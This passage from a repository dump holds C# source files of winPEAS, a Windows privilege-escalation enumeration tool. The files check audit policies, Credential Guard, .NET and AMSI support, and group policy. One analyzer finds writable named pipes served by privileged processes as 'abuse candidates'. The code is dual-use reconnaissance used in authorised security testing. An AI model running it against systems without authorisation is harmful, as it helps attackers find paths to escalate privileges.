}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/AuditPolicies/AuditEntryInfo.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.AuditPolicies\n{\n    internal class AuditEntryInfo\n    {\n        public string Target { get; }\n        public string Subcategory { get; }\n        public string SubcategoryGuid { get; }\n        public AuditType AuditType { get; }\n\n        public AuditEntryInfo(\n            string target,\n            string subcategory,\n            string subcategoryGuid,\n            AuditType auditType)\n        {\n            Target = target;\n            Subcategory = subcategory;\n            SubcategoryGuid = subcategoryGuid;\n            AuditType = auditType;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/AuditPolicies/AuditPolicies.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers.Search;\nusing winPEAS.Native;\n\nnamespace winPEAS.Info.SystemInfo.AuditPolicies\n{\n    internal class AuditPolicies\n    {\n        private static readonly string SystemRoot = Environment.GetEnvironmentVariable(\"SystemRoot\");\n\n        // https://code.msdn.microsoft.com/windowsdesktop/Reading-and-Writing-Values-85084b6a\n        private static int Capacity = 512;\n\n        public static IEnumerable<AuditPolicyGPOInfo> GetAuditPoliciesInfos()\n        {\n            var searchPath = $\"{SystemRoot}\\\\System32\\\\GroupPolicy\\\\DataStore\\\\0\\\\sysvol\\\\\";\n            var files = SearchHelper.GetFilesFast(searchPath, \"audit.csv\");\n            var classicFiles = SearchHelper.GetFilesFast(searchPath, \"GptTmpl.inf\");\n\n            foreach (var classicFilePath in classicFiles)\n            {\n                var fullFilePath = classicFilePath.FullPath;\n                var result = ParseGPOPath(fullFilePath);\n                var domain = result[0];\n                var gpo = result[1];\n\n                //ParseClassicPolicy\n                var sections = ReadSections(fullFilePath);\n\n                if (!sections.Contains(\"Event Audit\"))\n                    continue;\n\n                var settings = ParseClassicPolicy(fullFilePath);\n\n                yield return new AuditPolicyGPOInfo(\n                    classicFilePath.FullPath,\n                    domain,\n                    gpo,\n                    \"classic\",\n                    settings\n                );\n            }\n\n            foreach (var filePath in files)\n            {\n                var result = ParseGPOPath(filePath.FullPath);\n                var domain = result[0];\n                var gpo = result[1];\n\n                var settings = ParseAdvancedPolicy(filePath.FullPath);\n\n                yield return new AuditPolicyGPOInfo(\n                    filePath.FullPath,\n                    domain,\n                    gpo,\n                    \"advanced\",\n                    settings\n                );\n            }\n        }\n\n        private static string[] ParseGPOPath(string path)\n        {\n            // returns an array of the domain and GPO GUID from an audit.csv (or GptTmpl.inf) path\n\n            var searchPath = $\"{Environment.GetEnvironmentVariable(\"SystemRoot\")}\\\\System32\\\\GroupPolicy\\\\DataStore\\\\0\\\\sysvol\\\\\";\n            var sysnativeSearchPath = $\"{Environment.GetEnvironmentVariable(\"SystemRoot\")}\\\\Sysnative\\\\GroupPolicy\\\\DataStore\\\\0\\\\sysvol\\\\\";\n            var actualSearchPath = Regex.IsMatch(path, \"System32\") ? searchPath : sysnativeSearchPath;\n\n            var rest = path.Substring(actualSearchPath.Length, path.Length - actualSearchPath.Length);\n            var parts = rest.Split('\\\\');\n            string[] result = { parts[0], parts[2] };\n            return result;\n        }\n\n        private static string[] ReadSections(string filePath)\n        {\n            // first line will not recognize if ini file is saved in UTF-8 with BOM\n            while (true)\n            {\n                var chars = new char[Capacity];\n                var size = Kernel32.GetPrivateProfileString(null, null, \"\", chars, Capacity, filePath);\n\n                if (size == 0)\n                    return new string[] { };\n\n                if (size < Capacity - 2)\n                {\n                    var result = new string(chars, 0, size);\n                    var sections = result.Split(new char[] { '\\0' }, StringSplitOptions.RemoveEmptyEntries);\n                    return sections;\n                }\n\n                Capacity *= 2;\n            }\n        }\n\n        private static List<AuditEntryInfo> ParseAdvancedPolicy(string path)\n        {\n            // parses a \"advanced\" auditing policy (audit.csv), returning a list of AuditEntries\n\n            var results = new List<AuditEntryInfo>();\n\n            using (var reader = new StreamReader(path))\n            {\n                while (!reader.EndOfStream)\n                {\n                    var line = reader.ReadLine();\n                    var values = line.Split(',');\n\n                    if (values[0].Equals(\"Machine Name\")) // skip the header\n                    {\n                        continue;\n                    }\n\n                    // CSV  lines:\n                    // Machine Name,Policy Target,Subcategory,Subcategory GUID,Inclusion Setting,Exclusion Setting,Setting Value\n\n                    var target = values[1];\n                    var subcategory = values[2];\n                    var subcategoryGuid = values[3];\n                    var auditType = (AuditType)int.Parse(values[6]);\n\n                    results.Add(new AuditEntryInfo(\n                        target,\n                        subcategory,\n                        subcategoryGuid,\n                        auditType\n                    ));\n                }\n            }\n\n            return results;\n        }\n\n        private static List<AuditEntryInfo> ParseClassicPolicy(string path)\n        {\n            // parses a \"classic\" auditing policy (GptTmpl.inf), returning a list of AuditEntries\n\n            var results = new List<AuditEntryInfo>();\n\n            var settings = ReadKeyValuePairs(\"Event Audit\", path);\n            foreach (var setting in settings)\n            {\n                var parts = setting.Split('=');\n\n                var result = new AuditEntryInfo(\n                    string.Empty,\n                    parts[0],\n                    string.Empty,\n                    (AuditType)Int32.Parse(parts[1])\n                );\n\n                results.Add(result);\n            }\n\n            return results;\n        }\n\n        private static string[] ReadKeyValuePairs(string section, string filePath)\n        {\n            while (true)\n            {\n                var returnedString = Marshal.AllocCoTaskMem(Capacity * sizeof(char));\n                var size = Kernel32.GetPrivateProfileSection(section, returnedString, Capacity, filePath);\n\n                if (size == 0)\n                {\n                    Marshal.FreeCoTaskMem(returnedString);\n                    return new string[] { };\n                }\n\n                if (size < Capacity - 2)\n                {\n                    var result = Marshal.PtrToStringAuto(returnedString, size - 1);\n                    Marshal.FreeCoTaskMem(returnedString);\n                    var keyValuePairs = result.Split('\\0');\n                    return keyValuePairs;\n                }\n\n                Marshal.FreeCoTaskMem(returnedString);\n                Capacity *= 2;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/AuditPolicies/AuditPolicyGPOInfo.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.SystemInfo.AuditPolicies\n{\n    internal class AuditPolicyGPOInfo\n    {\n        public string Path { get; }\n        public string Domain { get; }\n        public string GPO { get; }\n        public string Type { get; }\n        public List<AuditEntryInfo> Settings { get; }\n\n        public AuditPolicyGPOInfo(\n            string path,\n            string domain,\n            string gpo,\n            string type,\n            List<AuditEntryInfo> settings)\n        {\n            Path = path;\n            Domain = domain;\n            GPO = gpo;\n            Type = type;\n            Settings = settings ?? new List<AuditEntryInfo>();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/AuditPolicies/AuditType.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.AuditPolicies\n{\n    internal enum AuditType\n    {\n        Success = 1,\n        Failure = 2,\n        SuccessAndFailure = 3\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/CredentialGuard.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Management;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.SystemInfo\n{\n    internal class CredentialGuard\n    {\n        const string NOT_ENABLED = \"Not enabled\";\n        const string ENABLED_NOT_RUNNING = \"Enabled not running\";\n        const string ENABLED_AND_RUNNING = \"Enabled and running\";\n        const string UNDEFINED = \"Undefined\";\n\n        internal static void PrintInfo()\n        {\n            var colors = new Dictionary<string, string>()\n            {\n                {  \"False\", Beaprint.ansi_color_bad },\n                {  \"True\", Beaprint.ansi_color_good },\n                {  NOT_ENABLED, Beaprint.ansi_color_bad },\n                {  ENABLED_NOT_RUNNING, Beaprint.ansi_color_bad },\n                {  ENABLED_AND_RUNNING, Beaprint.ansi_color_good },\n                {  UNDEFINED, Beaprint.ansi_color_bad },\n            };\n\n            try\n            {\n                using (var searcher = new ManagementObjectSearcher(@\"root\\Microsoft\\Windows\\DeviceGuard\", \"SELECT * FROM Win32_DeviceGuard\"))\n                {\n                    using (var data = searcher.Get())\n                    {\n                        foreach (var result in data)\n                        {\n                            var configCheck = (int[])result.GetPropertyValue(\"SecurityServicesConfigured\");\n                            var serviceCheck = (int[])result.GetPropertyValue(\"SecurityServicesRunning\");\n\n                            var configured = false;\n                            var running = false;\n\n                            uint? vbs = (uint)result.GetPropertyValue(\"VirtualizationBasedSecurityStatus\");\n                            string vbsSettingString = GetVbsSettingString(vbs);\n\n                            if (configCheck.Contains(1))\n                            {\n                                configured = true;\n                            }\n\n                            if (serviceCheck.Contains(1))\n                            {\n                                running = true;\n                            }\n\n                            Beaprint.AnsiPrint($\"    Virtualization Based Security Status:      {vbsSettingString}\\n\" +\n                                               $\"    Configured:                                {configured}\\n\" +\n                                               $\"    Running:                                   {running}\",\n                                                  colors);\n\n                        }\n                    }\n                }\n            }\n            catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace)\n            {\n                Beaprint.PrintException(string.Format(\"  [X] 'Win32_DeviceGuard' WMI class unavailable\", ex.Message));\n            }\n            catch (Exception ex)\n            {\n                //Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static string GetVbsSettingString(uint? vbs)\n        {\n            /*\n                NOT_ENABLED = 0,\n                ENABLED_NOT_RUNNING = 1,\n                ENABLED_AND_RUNNING = 2\n            */\n            switch (vbs)\n            {\n                case 0: return NOT_ENABLED;\n                case 1: return ENABLED_NOT_RUNNING;\n                case 2: return ENABLED_AND_RUNNING;\n\n                default: return UNDEFINED;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/DotNet/DotNet.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.SystemInfo.DotNet\n{\n    internal class DotNet\n    {\n        public static DotNetInfo GetDotNetInfo()\n        {\n            var installedDotNetVersions = new List<string>();\n            var installedClrVersions = new List<string>();\n            installedClrVersions.AddRange(GetClrVersions());\n\n            var dotNet35Version = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v3.5\", \"Version\");\n            if (!string.IsNullOrEmpty(dotNet35Version))\n            {\n                installedDotNetVersions.Add(dotNet35Version);\n            }\n\n            var dotNet4Version = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full\", \"Version\");\n            if (!string.IsNullOrEmpty(dotNet4Version))\n            {\n                installedDotNetVersions.Add(dotNet4Version);\n            }\n\n            var osVersion = GetOSVersion().Split('.')[0];\n            int osVersionMajor = int.Parse(osVersion);\n\n            return new DotNetInfo(\n                installedClrVersions,\n                installedDotNetVersions,\n                osVersionMajor\n            );\n        }\n\n        private static string GetOSVersion()\n        {\n\n            try\n            {\n                using (var wmiData = new ManagementObjectSearcher(@\"root\\cimv2\", \"SELECT Version FROM Win32_OperatingSystem\"))\n                {\n                    using (var data = wmiData.Get())\n                    {\n                        foreach (var os in data)\n                        {\n                            return os[\"Version\"].ToString();\n                        }\n                    }\n                }\n            }\n            catch { }\n\n            return string.Empty;\n        }\n\n        private static IEnumerable<string> GetClrVersions()\n        {\n            var dirs = Directory.EnumerateDirectories(\"\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\\");\n\n            return (from dir in dirs\n                    where File.Exists($\"{dir}\\\\System.dll\")\n                    select Path.GetFileName(dir.TrimEnd(Path.DirectorySeparatorChar))\n                    into fileName\n                    select fileName.TrimStart('v')).ToList();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/DotNet/DotNetInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\n\nnamespace winPEAS.Info.SystemInfo.DotNet\n{\n    internal class DotNetInfo\n    {\n        public const int AmsiSupportedByDotNetMinMajorVersion = 4;\n        public const int AmsiSupportedByDotNetMinMinorVersion = 8;\n\n        private const int AmsiSupportedByOsMinVersion = 10;\n\n        public IEnumerable<string> ClrVersions { get; }\n        public IEnumerable<string> DotNetVersions { get; }\n        public bool IsAmsiSupportedByOs { get; }\n        public bool IsAmsiSupportedByDotNet { get; }\n        public Version LowestVersion { get; set; }\n        public Version HighestVersion { get; set; }\n\n        public DotNetInfo(\n            IEnumerable<string> installedClrVersions,\n            IEnumerable<string> installedDotNetVersions,\n            int osVersionMajor)\n        {\n            ClrVersions = (installedClrVersions ?? new List<string>()).ToList();\n            DotNetVersions = (installedDotNetVersions ?? new List<string>()).ToList(); ;\n            IsAmsiSupportedByOs = osVersionMajor >= AmsiSupportedByOsMinVersion;\n\n            LowestVersion = DotNetVersions.Min(v => (new Version(v)));\n            HighestVersion = DotNetVersions.Max(v => (new Version(v)));\n\n            IsAmsiSupportedByDotNet = (HighestVersion.Major >= AmsiSupportedByDotNetMinMajorVersion) &&\n                                      (LowestVersion.Minor >= AmsiSupportedByDotNetMinMinorVersion);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/GroupPolicy/GroupPolicy.cs",
    "content": "﻿using Microsoft.Win32;\nusing System.Collections.Generic;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Info.SystemInfo.GroupPolicy\n{\n    internal class GroupPolicy\n    {\n        public static IEnumerable<LocalGroupPolicyInfo> GetLocalGroupPolicyInfos()\n        {\n            // reference - https://specopssoft.com/blog/things-work-group-policy-caching/\n\n            // local machine GPOs\n            var basePath = @\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\DataStore\\Machine\\0\";\n            var machineIDs = RegistryHelper.GetRegSubkeys(\"HKLM\", basePath) ?? new string[] { };\n\n            foreach (var id in machineIDs)\n            {\n                var settings = RegistryHelper.GetRegValues(\"HKLM\", $\"{basePath}\\\\{id}\");\n\n                yield return new LocalGroupPolicyInfo(\n                    settings[\"GPOName\"],\n                    \"machine\",\n                    settings[\"DisplayName\"],\n                    settings[\"Link\"],\n                    settings[\"FileSysPath\"],\n                    (GPOOptions)settings[\"Options\"],\n                    (GPOLink)settings[\"GPOLink\"],\n                    settings[\"Extensions\"]\n                );\n            }\n\n            // local user GPOs\n            var userGpOs = new Dictionary<string, Dictionary<string, object>>();\n\n            var sids = Registry.Users.GetSubKeyNames();\n            foreach (var sid in sids)\n            {\n                if (!sid.StartsWith(\"S-1-5\") || sid.EndsWith(\"_Classes\"))\n                {\n                    continue;\n                }\n\n                var extensions = RegistryHelper.GetRegSubkeys(\"HKU\", $\"{sid}\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\");\n                if ((extensions == null) || (extensions.Length == 0))\n                {\n                    continue;\n                }\n\n                foreach (var extension in extensions)\n                {\n                    var path = $\"{sid}\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\\\\{extension}\";\n                    var userIDs = RegistryHelper.GetRegSubkeys(\"HKU\", path) ?? new string[] { };\n\n                    foreach (var id in userIDs)\n                    {\n                        var settings = RegistryHelper.GetRegValues(\"HKU\", $\"{path}\\\\{id}\");\n\n                        if (userGpOs.ContainsKey($\"{settings[\"GPOName\"]}\"))\n                        {\n                            continue;\n                        }\n\n                        userGpOs.Add($\"{settings[\"GPOName\"]}\", settings);\n                    }\n                }\n            }\n\n            foreach (var userGPO in userGpOs)\n            {\n                yield return new LocalGroupPolicyInfo(\n                    userGPO.Value[\"GPOName\"],\n                    \"user\",\n                    userGPO.Value[\"DisplayName\"],\n                    userGPO.Value[\"Link\"],\n                    userGPO.Value[\"FileSysPath\"],\n                    (GPOOptions)userGPO.Value[\"Options\"],\n                    (GPOLink)userGPO.Value[\"GPOLink\"],\n                    userGPO.Value[\"Extensions\"]\n                );\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/GroupPolicy/LocalGroupPolicyInfo.cs",
    "content": "﻿using winPEAS.Native.Enums;\n\nnamespace winPEAS.Info.SystemInfo.GroupPolicy\n{\n    class LocalGroupPolicyInfo\n    {\n        public object GPOName { get; }\n        public object GPOType { get; }\n        public object DisplayName { get; }\n        public object Link { get; set; }\n        public object FileSysPath { get; }\n        public GPOOptions Options { get; }\n        public GPOLink GPOLink { get; }\n        public object Extensions { get; }\n\n        public LocalGroupPolicyInfo(\n            object gpoName,\n            object gpoType,\n            object displayName,\n            object link,\n            object fileSysPath,\n            GPOOptions options,\n            GPOLink gpoLink,\n            object extensions)\n        {\n            GPOName = gpoName;\n            GPOType = gpoType;\n            DisplayName = displayName;\n            Link = link;\n            FileSysPath = fileSysPath;\n            Options = options;\n            GPOLink = gpoLink;\n            Extensions = extensions;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/NamedPipes/NamedPipeInfo.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.NamedPipes\n{\n    internal class NamedPipeInfo\n    {\n        public string Name { get; }\n        public string Sddl { get; }\n        public string CurrentUserPerms { get; }\n\n        public NamedPipeInfo(string name, string sddl, string currentUserPerms)\n        {\n            Name = name;\n            Sddl = sddl;\n            CurrentUserPerms = currentUserPerms;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/NamedPipes/NamedPipeSecurityAnalyzer.cs",
    "content": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing winPEAS.Helpers;\nusing winPEAS.Native;\n\nnamespace winPEAS.Info.SystemInfo.NamedPipes\n{\n    internal static class NamedPipeSecurityAnalyzer\n    {\n        private const string DeviceNamedPipePrefix = @\"\\Device\\NamedPipe\\\";\n        private static readonly char[] CandidateSeparators = { '\\\\', '/', '-', ':', '(' };\n\n        private static readonly HashSet<string> LowPrivSidSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase)\n        {\n            \"S-1-1-0\",      // Everyone\n            \"S-1-5-11\",     // Authenticated Users\n            \"S-1-5-32-545\", // Users\n            \"S-1-5-32-546\", // Guests\n            \"S-1-5-32-547\", // Power Users\n            \"S-1-5-32-554\", // Pre-Windows 2000 Compatible Access\n            \"S-1-5-32-555\", // Remote Desktop Users\n            \"S-1-5-32-558\", // Performance Log Users\n            \"S-1-5-32-559\", // Performance Monitor Users\n            \"S-1-5-32-562\", // Distributed COM Users\n            \"S-1-5-32-569\", // Remote Management Users\n            \"S-1-5-4\",      // Interactive\n            \"S-1-5-2\",      // Network\n            \"S-1-5-1\",      // Dialup\n            \"S-1-5-7\"       // Anonymous Logon\n        };\n\n        private static readonly HashSet<string> LowPrivPrincipalKeywords = new HashSet<string>(StringComparer.OrdinalIgnoreCase)\n        {\n            \"everyone\",\n            \"authenticated users\",\n            \"users\",\n            \"guests\",\n            \"power users\",\n            \"remote desktop users\",\n            \"remote management users\",\n            \"distributed com users\",\n            \"anonymous logon\",\n            \"interactive\",\n            \"network\",\n            \"local\",\n            \"batch\",\n            \"iis_iusrs\"\n        };\n\n        private static readonly HashSet<string> PrivilegedSidSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase)\n        {\n            \"S-1-5-18\",      // SYSTEM\n            \"S-1-5-19\",      // LOCAL SERVICE\n            \"S-1-5-20\",      // NETWORK SERVICE\n            \"S-1-5-32-544\"   // Administrators\n        };\n\n        private static readonly (string Label, FileSystemRights Right)[] DangerousRightsMap = new[]\n        {\n            (\"FullControl\", FileSystemRights.FullControl),\n            (\"Modify\", FileSystemRights.Modify),\n            (\"Write\", FileSystemRights.Write),\n            (\"WriteData\", FileSystemRights.WriteData),\n            (\"AppendData\", FileSystemRights.AppendData),\n            (\"CreateFiles\", FileSystemRights.CreateFiles),\n            (\"CreateDirectories\", FileSystemRights.CreateDirectories),\n            (\"WriteAttributes\", FileSystemRights.WriteAttributes),\n            (\"WriteExtendedAttributes\", FileSystemRights.WriteExtendedAttributes),\n            (\"Delete\", FileSystemRights.Delete),\n            (\"ChangePermissions\", FileSystemRights.ChangePermissions),\n            (\"TakeOwnership\", FileSystemRights.TakeOwnership)\n        };\n\n        public static IEnumerable<NamedPipeSecurityIssue> GetNamedPipeAbuseCandidates()\n        {\n            var insecurePipes = DiscoverInsecurePipes();\n            if (!insecurePipes.Any())\n            {\n                return Enumerable.Empty<NamedPipeSecurityIssue>();\n            }\n\n            AttachProcesses(insecurePipes);\n\n            return insecurePipes.Values\n                                .Where(issue => issue.LowPrivilegeAces.Any())\n                                .OrderByDescending(issue => issue.HasPrivilegedServer)\n                                .ThenBy(issue => issue.Name)\n                                .ToList();\n        }\n\n        private static Dictionary<string, NamedPipeSecurityIssue> DiscoverInsecurePipes()\n        {\n            var result = new Dictionary<string, NamedPipeSecurityIssue>(StringComparer.OrdinalIgnoreCase);\n\n            foreach (var pipe in NamedPipes.GetNamedPipeInfos())\n            {\n                if (string.IsNullOrWhiteSpace(pipe.Sddl) || pipe.Sddl.Equals(\"ERROR\", StringComparison.OrdinalIgnoreCase))\n                    continue;\n\n                try\n                {\n                    var descriptor = new RawSecurityDescriptor(pipe.Sddl);\n                    if (descriptor.DiscretionaryAcl == null)\n                        continue;\n\n                    foreach (GenericAce ace in descriptor.DiscretionaryAcl)\n                    {\n                        if (!(ace is CommonAce commonAce))\n                            continue;\n\n                        var sid = commonAce.SecurityIdentifier;\n                        if (sid == null || !IsLowPrivilegePrincipal(sid))\n                            continue;\n\n                        if (!HasDangerousWriteRights(commonAce.AccessMask))\n                            continue;\n\n                        var rights = DescribeRights(commonAce.AccessMask).ToList();\n                        if (!rights.Any())\n                            continue;\n\n                        if (!result.TryGetValue(pipe.Name, out var issue))\n                        {\n                            issue = new NamedPipeSecurityIssue(pipe.Name, pipe.Sddl, NormalizePipeName(pipe.Name));\n                            result[pipe.Name] = issue;\n                        }\n\n                        var account = ResolveSidToName(sid);\n                        issue.AddLowPrivPrincipal(account, sid.Value, rights);\n                    }\n                }\n                catch\n                {\n                    // Ignore malformed SDDL strings\n                }\n            }\n\n            return result;\n        }\n\n        private static void AttachProcesses(Dictionary<string, NamedPipeSecurityIssue> insecurePipes)\n        {\n            if (!insecurePipes.Any())\n                return;\n\n            var lookup = BuildLookup(insecurePipes.Values);\n            if (!lookup.Any())\n                return;\n\n            List<HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> handles;\n            try\n            {\n                handles = HandlesHelper.GetAllHandlers();\n            }\n            catch\n            {\n                return;\n            }\n\n            var currentProcess = Kernel32.GetCurrentProcess();\n            var processCache = new Dictionary<int, NamedPipeProcessInfo>();\n\n            foreach (var handle in handles)\n            {\n                IntPtr processHandle = IntPtr.Zero;\n                IntPtr duplicatedHandle = IntPtr.Zero;\n\n                try\n                {\n                    int pid = GetPid(handle);\n                    if (pid <= 0)\n                        continue;\n\n                    processHandle = Kernel32.OpenProcess(\n                        HandlesHelper.ProcessAccessFlags.DupHandle | HandlesHelper.ProcessAccessFlags.QueryLimitedInformation,\n                        false,\n                        pid);\n\n                    if (processHandle == IntPtr.Zero)\n                        continue;\n\n                    if (!Kernel32.DuplicateHandle(processHandle, handle.HandleValue, currentProcess, out duplicatedHandle, 0, false, HandlesHelper.DUPLICATE_SAME_ACCESS))\n                        continue;\n\n                    var typeName = HandlesHelper.GetObjectType(duplicatedHandle);\n                    if (!string.Equals(typeName, \"File\", StringComparison.OrdinalIgnoreCase))\n                        continue;\n\n                    var objectName = HandlesHelper.GetObjectName(duplicatedHandle);\n                    if (string.IsNullOrEmpty(objectName) || !objectName.StartsWith(DeviceNamedPipePrefix, StringComparison.OrdinalIgnoreCase))\n                        continue;\n\n                    var normalizedHandleName = NormalizePipeName(objectName.Substring(DeviceNamedPipePrefix.Length));\n                    var candidates = GetCandidateKeys(normalizedHandleName);\n\n                    bool matched = false;\n\n                    foreach (var candidate in candidates)\n                    {\n                        if (!lookup.TryGetValue(candidate, out var matchedIssues))\n                            continue;\n\n                        if (!processCache.TryGetValue(pid, out var processInfo))\n                        {\n                            var raw = HandlesHelper.getProcInfoById(pid);\n                            processInfo = new NamedPipeProcessInfo(raw.pid, raw.name, raw.userName, raw.userSid, IsHighPrivilegeAccount(raw.userSid, raw.userName));\n                            processCache[pid] = processInfo;\n                        }\n\n                        foreach (var issue in matchedIssues)\n                        {\n                            issue.AddProcess(processInfo);\n                        }\n\n                        matched = true;\n                        break;\n                    }\n\n                    if (!matched)\n                        continue;\n                }\n                catch\n                {\n                    // Ignore per-handle failures\n                }\n                finally\n                {\n                    if (duplicatedHandle != IntPtr.Zero)\n                    {\n                        Kernel32.CloseHandle(duplicatedHandle);\n                    }\n                    if (processHandle != IntPtr.Zero)\n                    {\n                        Kernel32.CloseHandle(processHandle);\n                    }\n                }\n            }\n        }\n\n        private static Dictionary<string, List<NamedPipeSecurityIssue>> BuildLookup(IEnumerable<NamedPipeSecurityIssue> issues)\n        {\n            var lookup = new Dictionary<string, List<NamedPipeSecurityIssue>>(StringComparer.OrdinalIgnoreCase);\n\n            foreach (var issue in issues)\n            {\n                foreach (var key in GetCandidateKeys(issue.NormalizedName))\n                {\n                    if (!lookup.TryGetValue(key, out var list))\n                    {\n                        list = new List<NamedPipeSecurityIssue>();\n                        lookup[key] = list;\n                    }\n\n                    if (!list.Contains(issue))\n                    {\n                        list.Add(issue);\n                    }\n                }\n            }\n\n            return lookup;\n        }\n\n        private static IEnumerable<string> GetCandidateKeys(string normalizedName)\n        {\n            if (string.IsNullOrEmpty(normalizedName))\n                return Array.Empty<string>();\n\n            var candidates = new HashSet<string>(StringComparer.OrdinalIgnoreCase)\n            {\n                normalizedName\n            };\n\n            foreach (var separator in CandidateSeparators)\n            {\n                var idx = normalizedName.IndexOf(separator);\n                if (idx > 0)\n                {\n                    candidates.Add(normalizedName.Substring(0, idx));\n                }\n            }\n\n            return candidates;\n        }\n\n        private static string NormalizePipeName(string rawName)\n        {\n            if (string.IsNullOrWhiteSpace(rawName))\n                return string.Empty;\n\n            var normalized = rawName.Replace('/', '\\\\').Trim();\n            while (normalized.StartsWith(\"\\\\\", StringComparison.Ordinal))\n            {\n                normalized = normalized.Substring(1);\n            }\n\n            return normalized.ToLowerInvariant();\n        }\n\n        private static bool HasDangerousWriteRights(int accessMask)\n        {\n            var rights = (FileSystemRights)accessMask;\n            foreach (var entry in DangerousRightsMap)\n            {\n                if ((rights & entry.Right) == entry.Right)\n                    return true;\n            }\n\n            return false;\n        }\n\n        private static IEnumerable<string> DescribeRights(int accessMask)\n        {\n            var rights = (FileSystemRights)accessMask;\n            var descriptions = new List<string>();\n\n            foreach (var entry in DangerousRightsMap)\n            {\n                if ((rights & entry.Right) == entry.Right)\n                {\n                    descriptions.Add(entry.Label);\n                    if (entry.Right == FileSystemRights.FullControl)\n                        break;\n                }\n            }\n\n            if (!descriptions.Any())\n            {\n                descriptions.Add($\"0x{accessMask:x}\");\n            }\n\n            return descriptions;\n        }\n\n        private static bool IsLowPrivilegePrincipal(SecurityIdentifier sid)\n        {\n            if (sid == null)\n                return false;\n\n            if (LowPrivSidSet.Contains(sid.Value))\n                return true;\n\n            var accountName = ResolveSidToName(sid);\n            if (string.IsNullOrEmpty(accountName))\n                return false;\n\n            return LowPrivPrincipalKeywords.Any(keyword => accountName.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0);\n        }\n\n        private static string ResolveSidToName(SecurityIdentifier sid)\n        {\n            if (sid == null)\n                return string.Empty;\n\n            try\n            {\n                return sid.Translate(typeof(NTAccount)).Value;\n            }\n            catch\n            {\n                return sid.Value;\n            }\n        }\n\n        private static bool IsHighPrivilegeAccount(string sid, string userName)\n        {\n            if (!string.IsNullOrEmpty(sid))\n            {\n                if (PrivilegedSidSet.Contains(sid))\n                    return true;\n\n                if (sid.StartsWith(\"S-1-5-80-\", StringComparison.OrdinalIgnoreCase)) // Service SID\n                    return true;\n\n                if (sid.StartsWith(\"S-1-5-82-\", StringComparison.OrdinalIgnoreCase)) // AppPool / service-like SIDs\n                    return true;\n            }\n\n            if (!string.IsNullOrEmpty(userName))\n            {\n                if (string.Equals(userName, HandlesHelper.elevatedProcess, StringComparison.OrdinalIgnoreCase))\n                    return true;\n\n                var normalized = userName.ToUpperInvariant();\n                if (normalized.Contains(\"SYSTEM\") || normalized.Contains(\"LOCAL SERVICE\") || normalized.Contains(\"NETWORK SERVICE\"))\n                    return true;\n\n                if (normalized.StartsWith(\"NT SERVICE\\\\\", StringComparison.Ordinal))\n                    return true;\n\n                if (normalized.EndsWith(\"$\", StringComparison.Ordinal) && normalized.Contains(\"\\\\\"))\n                    return true;\n            }\n\n            return false;\n        }\n\n        private static int GetPid(HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handle)\n        {\n            unchecked\n            {\n                if (IntPtr.Size == 4)\n                {\n                    return (int)handle.UniqueProcessId.ToUInt32();\n                }\n\n                return (int)handle.UniqueProcessId.ToUInt64();\n            }\n        }\n    }\n\n    internal class NamedPipeSecurityIssue\n    {\n        private readonly Dictionary<string, NamedPipePrincipalAccess> _principalAccess = new Dictionary<string, NamedPipePrincipalAccess>(StringComparer.OrdinalIgnoreCase);\n        private readonly Dictionary<int, NamedPipeProcessInfo> _processes = new Dictionary<int, NamedPipeProcessInfo>();\n\n        public NamedPipeSecurityIssue(string name, string sddl, string normalizedName)\n        {\n            Name = name;\n            Sddl = sddl;\n            NormalizedName = normalizedName;\n        }\n\n        public string Name { get; }\n        public string Sddl { get; }\n        public string NormalizedName { get; }\n\n        public 